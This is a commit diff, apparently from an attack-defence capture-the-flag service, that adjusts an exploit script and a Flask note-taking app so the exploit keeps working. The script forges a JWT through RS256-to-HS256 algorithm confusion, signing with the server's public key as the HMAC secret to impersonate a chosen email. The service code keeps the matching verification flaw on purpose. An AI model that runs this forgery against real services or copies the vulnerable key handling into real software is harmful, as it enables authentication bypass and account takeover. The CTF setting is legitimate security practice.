changes so exploit works and service works fine

exploit/server.py

@@ -3,6 +3,12 @@
 from Crypto.Hash import HMAC, SHA256
 import base64
 import datetime
+import rsa
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.backends import default_backend
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives import hashes
+from cryptography.hazmat.backends import default_backend
 
 # ----- SETUP -----
 
@@ -13,40 +19,30 @@
 
 print("time taken to generate", datetime.datetime.now()-time)
 
-# PUBLIC KEY, AVAILABLE TO USER
-# CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
-# https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
-# https://github.com/FlorianPicca/JWT-Key-Recovery
-PUBKEY = KEY.public_key().export_key(format='PEM')
 
-# Sanity check (-> this is normal behavior)
-PRIVKEY = KEY.export_key(format='PEM')
-token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
+def format_rsa_public_key(key_str):
+    #byte_len = 32 #64
+    byte_len = 64
+    key_str = key_str.replace(" ", "").replace("\n", "")
+    formatted_key = "-----BEGIN RSA PUBLIC KEY-----\n"
+
+    # Split the key into 64-character lines
+    for i in range(0, len(key_str), byte_len):
+        formatted_key += key_str[i:i+byte_len] + "\n"
+
+    formatted_key += "-----END RSA PUBLIC KEY-----\n"
+    return formatted_key
 
 
-# decode the token using the public key
-claims = jwt.decode(token, PUBKEY)
-print(claims)
-assert not claims["pwned"]
+public_key = "-----BEGIN RSA PUBLIC KEY-----\nMEcCQE3BZ5v5u6o5QxbMhNhrIEHEIXZyldR6dXk8jL5bOBqUjP5fykebKVW+7oID\nQE5/DKK5Spw/49n6CL+ncH4RgIcCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"
+PUBKEY = RSA.import_key(public_key)
+PUBKEY = PUBKEY.public_key().export_key(format='PEM')
+print(PUBKEY)
 
 
-# ---- CLIENT SIDE -----
-
-# without knowing the private key, a valid token can be constructed
-# YIKES!!
-
 b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
-payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
+payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"email":"1111@11112132313123dawdaw"}')
 hasher = HMAC.new(PUBKEY, digestmod=SHA256)
 hasher.update(payload)
 evil_token = payload + b'.' + b64(hasher.digest())
 print("😈",evil_token)
-
-# ---- SERVER SIDE -----
-
-# verify and decode the token using the public key, as is custom
-# algorithm field is left unspecified
-# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
-data = jwt.decode(evil_token, PUBKEY)
-if data["pwned"]:
-    print("VULNERABLE")

service/src/auth.py

@@ -14,6 +14,7 @@
 import base64
 import datetime
 import rsa
+from Crypto.PublicKey import RSA
 from cryptography.hazmat.primitives.asymmetric import rsa as crsa
 from cryptography.hazmat.primitives import serialization
 from cryptography.hazmat.backends import default_backend
@@ -26,11 +27,26 @@
 auth = Blueprint('auth', __name__)
 
 
-def key_loader(key):
+def key_loader_public(key):
     try:
-        return serialization.load_pem_private_key(key.encode('utf-8'),password=None,backend=default_backend())
+        # key = serialization.load_pem_private_key(key.encode('utf-8'),password=None,backend=default_backend())
+        # return key
+        PUBKEY = RSA.import_key(key)
+        PUBKEY = PUBKEY.public_key().export_key(format='PEM')
+        return PUBKEY
     except:
-        return serialization.load_pem_public_key(key.encode('utf-8'),backend=default_backend())
+        return None
+
+
+def key_loader_priv(key):
+    try:
+        # key = serialization.load_pem_public_key(key.encode('utf-8'),backend=default_backend())
+        # return key
+        PRIVKEY = RSA.import_key(key)
+        PRIVKEY = PRIVKEY.export_key(format='PEM')
+        return PRIVKEY
+    except:
+        return None
 
 
 @auth.route('/login', methods=['GET', 'POST'])
@@ -137,7 +153,7 @@ async def backup():
             return render_template("backup.html", user=None)
         public_key = get_user.public_key.replace("\\n", "\n")
         try:
-            public_key = key_loader(public_key)
+            public_key = key_loader_public(public_key)
         except:
             flash('Invalid public key!', category='error')
             return render_template("backup.html", user=None)
@@ -154,6 +170,7 @@ async def backup():
             return render_template("backup.html", user=get_user)
         else:
             flash('Backup Login failed!', category='error')
+            return render_template("backup.html", user=None)
     else:
         return render_template("backup.html", user=None)
 

service/src/views.py

@@ -241,12 +241,12 @@ async def profil():
             else:
                 private_key = PRIVKEY.replace("\\n", "\n")
                 try:
-                    private_key = auth.key_loader(private_key)
+                    private_key = auth.key_loader_priv(private_key)
                 except:
                     flash('Invalid private key!', category='error')
                     return render_template("profil.html", user=current_user, groups=Note_groups, PRIVKEY=PRIVKEY, PUBKEY=PUBKEY)
                 token = jwt.encode({"alg": "RS256"}, {"email":current_user.email}, private_key)
-                current_user.token = token
+                current_user.token = token.decode('utf-8')
                 db.session.commit()
                 flash('Token created!', category='success')
                 return render_template("profil.html", user=current_user, groups=Note_groups, PRIVKEY=PRIVKEY, PUBKEY=PUBKEY)